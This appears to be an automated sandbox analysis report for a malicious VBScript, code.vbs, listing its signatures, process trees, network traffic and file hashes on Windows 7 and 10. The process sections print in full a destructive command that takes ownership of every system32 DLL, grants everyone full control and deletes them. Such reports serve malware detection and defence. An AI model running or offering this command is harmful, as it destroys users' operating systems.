Analysis Overview
SHA256
df23cd293cabe8742d6797d131618a7776c32e65cd4dc45a257a671f63d9e1cc
Threat Level: Likely malicious
The file code.vbs was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Checks computer location settings
Modifies file permissions
Drops file in Program Files directory
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-09 20:57
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-09 20:57
Reported
2024-08-09 20:59
Platform
win7-20240704-en
Max time kernel
117s
Max time network
118s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Program Files\Google\Chrome\Application\debug.log | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\code.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16code.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\*.dll
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\*.dll /grant Everyone:(F)
C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef68d9758,0x7fef68d9768,0x7fef68d9778
C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
Network
Files
C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16code.vbs
| MD5 | b1995021fa8e27390d0d0031a9c0bf74 |
| SHA1 | f685a4a6a9731b3c0ec4d39743d4d45e41e53fb0 |
| SHA256 | f3343be37159bdede808908cf79ee02a8dfb34d9aa4ccce16de1d650e7a2433b |
| SHA512 | 527274d67334d8fae8c5c334bc5b3370a54ff64e0ecc8ec3203ae07e69b63d103cfe10af1deb73474dcea950bf46c95fe2a49e7fc3f42d2bdfeead48fb9723e1 |
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-09 20:57
Reported
2024-08-09 20:59
Platform
win10v2004-20240802-en
Max time kernel
141s
Max time network
139s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings | C:\Windows\System32\WScript.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4908 wrote to memory of 4716 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WScript.exe |
| PID 4908 wrote to memory of 4716 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WScript.exe |
| PID 4908 wrote to memory of 2376 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\cmd.exe |
| PID 4908 wrote to memory of 2376 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\cmd.exe |
| PID 2376 wrote to memory of 2384 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 2376 wrote to memory of 2384 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 2376 wrote to memory of 4872 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
| PID 2376 wrote to memory of 4872 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\code.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16code.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\*.dll
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\*.dll /grant Everyone:(F)
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 20.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16code.vbs
| MD5 | b1995021fa8e27390d0d0031a9c0bf74 |
| SHA1 | f685a4a6a9731b3c0ec4d39743d4d45e41e53fb0 |
| SHA256 | f3343be37159bdede808908cf79ee02a8dfb34d9aa4ccce16de1d650e7a2433b |
| SHA512 | 527274d67334d8fae8c5c334bc5b3370a54ff64e0ecc8ec3203ae07e69b63d103cfe10af1deb73474dcea950bf46c95fe2a49e7fc3f42d2bdfeead48fb9723e1 |